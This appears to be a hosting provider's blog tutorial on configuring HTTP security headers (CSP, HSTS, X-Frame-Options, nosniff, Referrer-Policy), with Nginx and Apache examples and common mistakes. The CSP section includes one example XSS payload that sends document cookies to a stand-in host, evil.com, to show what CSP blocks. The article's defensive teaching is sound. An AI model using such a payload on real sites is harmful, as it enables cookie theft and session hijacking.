What Is a Security Header and Why Does Your Website Need It?
When a user's browser sends a request to your server, the HTTP response doesn't just include the page content; it also includes a set of headers that tell the browser how to handle the content. A security header is a special type of header that controls browser behavior in security-sensitive situations: Is it allowed to execute inline scripts? Can it load the page in an iframe? Should it only use HTTPS?
Many common attacks like XSS, clickjacking, and MIME sniffing succeed not because of weak code, but because the server hasn't told the browser what behavior is allowed. Properly configuring these headers is one of the fastest and most cost-effective ways to improve your website's security. In this article, we'll examine each header with practical examples, the attack scenarios they stop, and common mistakes.
Content-Security-Policy (CSP): A Strong Defense Against XSS
XSS (Cross-Site Scripting) attacks occur when an attacker can inject their own script into your page. The Content-Security-Policy header tells the browser which resources (scripts, styles, images, fonts, etc.) are allowed to execute or load. If a script is not on this list, the browser blocks it.
Basic CSP Structure
A simple policy that only allows scripts from the same domain:
Content-Security-Policy: default-src 'self'; script-src 'self'; style-src 'self'
This means: all resources from your own domain, scripts only from your own domain, styles only from your own domain. If your site uses a CDN, you need to add it:
Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com; style-src 'self' 'unsafe-inline'
The 'unsafe-inline' directive for styles is often unavoidable because many frameworks generate inline styles. But never use it for scripts; that's exactly what makes XSS possible.
Attack Scenario That CSP Stops
Suppose your site's search form reflects user input without sanitization. An attacker sends a link containing <script>fetch('https://evil.com?cookie='+document.cookie)</script>. Without CSP, the browser executes this script and cookies are leaked. With CSP that has script-src 'self', the browser blocks the inline script execution and shows the following error in the console:
Refused to execute inline script because it violates the following Content Security Policy directive: "script-src 'self'"
Common Mistake: Using unsafe-inline for Scripts
Many developers add 'unsafe-inline' to script-src to get the site running quickly. This effectively renders CSP useless. If you really need inline scripts (e.g., for analytics tags), use a nonce:
Content-Security-Policy: script-src 'self' 'nonce-random-single-use'
And in HTML: <script nonce="random-single-use">...</script>. The nonce value must change with each server response. This method is secure because an attacker cannot guess a valid nonce.
Strict-Transport-Security (HSTS): Locking Down HTTPS
Even if your site has HTTPS, a user might type the address with http:// or click an old link. During this window, an attacker on the network (e.g., public Wi-Fi) can read the traffic or perform a man-in-the-middle attack. The Strict-Transport-Security header tells the browser: "From now on, only connect to this domain over HTTPS and never accept HTTP."
Standard Configuration
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
- max-age: Validity period in seconds (one year = 31536000).
- includeSubDomains: All subdomains must also use HTTPS.
- preload: Registers the domain in browsers' HSTS list (you must submit it at hstspreload.org).
Common Mistake: Enabling HSTS Before Ensuring Full HTTPS
If even one subdomain (e.g., blog.example.com) still serves HTTP, enabling includeSubDomains will prevent users from accessing it. The browser will simply block the connection. Solution: First migrate all subdomains to HTTPS, then test HSTS with a low max-age (e.g., 300), and after a few days increase the value to one year.
X-Frame-Options and frame-ancestors: Preventing Clickjacking
In a clickjacking attack, the attacker places your site inside a transparent iframe on their own page, and the user thinks they're clicking their own button, while actually clicking the "Delete Account" button on your site. Two headers can counter this:
X-Frame-Options: DENY
Or the more modern version that can also be used in CSP:
Content-Security-Policy: frame-ancestors 'none'
DENY means no domain can embed your site in an iframe. If you need only your own domain to be able to (e.g., for widgets), use SAMEORIGIN. Note that frame-ancestors is newer in CSP and older browsers don't recognize it; for compatibility, send both.
X-Content-Type-Options: Ending MIME Sniffing
Browsers sometimes guess a file's type based on its content (MIME sniffing). If an attacker uploads a text file with malicious HTML content, the browser might execute it as HTML. The following header disables this behavior:
X-Content-Type-Options: nosniff
This simple header is one of the most cost-effective and impactful security headers, and it has no side effects for regular users.
Referrer-Policy: Controlling Information Sent to Other Sites
When a user clicks an outbound link, the browser by default sends the full URL of the source page (including query string) in the Referer header. If your URL contains a token or session ID, this information leaks to the destination site. The Referrer-Policy header controls this behavior:
Referrer-Policy: strict-origin-when-cross-origin
This is the recommended value: for same-origin requests, the full URL is sent, but for cross-origin requests, only the origin (without path and query string) is sent.
Practical Implementation: Where to Configure Headers
Depending on your infrastructure, there are different methods:
In Nginx
add_header Content-Security-Policy "default-src 'self'" always;
add_header Strict-Transport-Security "max-age=31536000; includeSubDomains" always;
add_header X-Frame-Options "DENY" always;
add_header X-Content-Type-Options "nosniff" always;
add_header Referrer-Policy "strict-origin-when-cross-origin" always;
The word always ensures the header is sent even in error responses (4xx and 5xx).
In Apache
Header always set Content-Security-Policy "default-src 'self'"
Header always set Strict-Transport-Security "max-age=31536000"
Header always set X-Frame-Options "DENY"
Header always set X-Content-Type-Options "nosniff"
Testing and Debugging
Before applying to your production server, use online tools like securityheaders.com to see the current state of your headers. To test CSP, use report-only mode to see errors without blocking:
Content-Security-Policy-Report-Only: default-src 'self'; report-uri /csp-report
Instead of blocking, this header sends violation reports to the specified address. After a few days of reviewing reports and fixing issues, activate the main header.
Common Mistakes in Configuring Security Headers
- Setting HSTS without full HTTPS: This causes users to lose access. Always complete HTTPS first.
- Using unsafe-inline in CSP: This effectively enables XSS. Use nonce or hash instead.
- Forgetting headers in error responses: An attacker can use 404 pages for injection. Solve this with
alwaysin Nginx oralwaysin Apache. - Copying headers without testing: Every site has a different structure. A CSP that works for one SPA might completely break your site. Always start with report-only mode.
Summary: Where to Start?
If your site doesn't have any of these headers, proceed in this order:
- Add
X-Content-Type-Options: nosniff(lowest risk, highest impact). - Add
X-Frame-Options: DENY(unless you really need iframes). - Add
Referrer-Policy: strict-origin-when-cross-origin. - Test HSTS with a low
max-ageand increase the value after confirming it works. - Start CSP with report-only mode, review the reports, and activate it after fixing issues.
Configuring these headers doesn't take much time, but its impact on your website's security is significant. If you're using shared hosting and don't have access to server settings, you can add these headers via the .htaccess file (in Apache) or through your hosting panel settings. In managed environments, some hosting providers like ServerNet allow you to configure these headers from the user panel; if you don't have such an option, ask the support team to enable it for you.
Security is a process, not a destination. Security headers are one layer of this process—a layer that provides the most protection against the most common attacks at the lowest cost.
Comments 0
No comments yet — be the first!